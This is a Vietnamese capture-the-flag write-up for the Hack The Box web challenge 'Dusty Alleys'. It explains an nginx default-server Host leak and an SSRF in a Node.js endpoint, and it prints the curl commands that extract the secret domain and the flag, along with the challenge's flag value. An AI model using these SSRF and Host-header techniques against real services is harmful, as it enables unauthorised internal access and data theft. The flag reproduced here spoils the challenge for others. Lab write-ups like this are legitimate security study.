[HTB] Dusty Alleys
Tổng quan
Đây là 1 medium web chall của Hack the Box , là 1 bài whitebox testing vì có full source code để đọc
Mục tiêu khai thác là lỗ hổng SSRF để đọc flag nằm trong môi trường ENV FLAG=HTB{REDACTED}
Công nghệ : nodejs làm ngôn ngữ backend chính, nginx (reverse proxy), docker
Đặc điểm: Hệ thống sử dụng Virtual Host (Vhost) với tên miền bí mật và giới hạn truy cập qua Nginx
Phân tích
trong default.conf để bảo vệ nginx, author đã dùng cơ chế virtual hosting để giới hạn quyền truy cập
1 | server { |
cái listen 80 default_server biến cái server block này thành cái thùng rác nhận mọi request không khớp vs tên miền,
khi curl mà không có host thì sẽ rơi vào đây
proxy_set_header Host $host khi mà nginx chuyển request vào nodejs, nó sẽ tự dộng điền giá trị host mà nó đang giữ.
Vì thuộc block alley.$SECRET_ALLEY, nó sẽ điền đúng tên miền bí mật vào header trước khi gửi cho Node.js
Lỗ hổng tại Application (guardian.js)
lớp application có 2 lỗi lofic nghiêm trọng cho phép thực hiện cuộc tấn công vào hệ thống
1.lỗi kiểm tra whitelist (SSRF bypass)
ở đoạn code kiểm tra tên miền trong hàm /guardian rất lỏng lẻo
1 | const location = new URL(quote); |
Trong môi trường Docker, localhost trỏ thẳng tới chính server node.js đang chạy, giúp bypass lớp bảo vệ của Nginx .Vì request này xuất phát từ nội bộ.
2.lỗi rò rỉ thông tin
Endpoint /think được thiết kế để giúp lập trình viên debug, nhưng lại là vũ khí cho attacker
1 | router.get("/think", async (req, res) => { |
Tổng hợp lỗ hổng
nginx leak : cấu hình default_server giúp truy cập /think qua IP để lấy $SECRET_ALLEY
SSRF: Hàm node-fetch trong /guardian bị lợi dụng để gửi request nội bộ
Header Injection: Đoạn code sau tự đính kèm Flag vào mọi request fetch:
1 | let result = await node_fetch(quote, { |
Kết quả từ /think (chứa Flag) được hàm res.send(result) trả thẳng về
Khai thác (exploitation)
Vì Nginx sử dụng biến bí mật cho tên miền nên cần tìm nó trước. Lợi dụng việc Nginx cấu hình default_server, mình gửi một request HTTP/1.0 và bỏ trống Host header
curl -v -H "Host:" --http1.0 http://154.57.164.76:32234/think
và respone từ server
1 | * Trying 154.57.164.76:32234... |
Server phản hồi JSON chứa "host":"alley.firstalleyontheleft.com".
=> Vậy $SECRET_ALLEY là firstalleyontheleft.com.
khai thác lỗ hổng SSRF lấy flag
Bây giờ mình đã có tên miền để vượt qua lớp bảo vệ của Nginx. Mục tiêu là khiến hàm node-fetch gửi request tới /think để nó lộ ra Header chứa Flag.
Payload:
Target: http://154.57.164.76:32234:<PORT>/guardian
Host Header: guardian.firstalleyontheleft.com
Tham số quote: http://localhost:1337/think (Node.js chạy nội bộ ở port 1337).
lệnh thực thi
curl -H "Host: guardian.firstalleyontheleft.com" \
"http://154.57.164.76:32234/guardian?quote=http://localhost:1337/think"
Output : {"key":"HTB{DUsT_1n_my_3y3s_l33t}","accept":"*/*","user-agent":"node-fetch/1.0 (+https://github.com/bitinn/node-fetch)","accept-encoding":"gzip,deflate","connection":"close","host":"localhost:1337"}%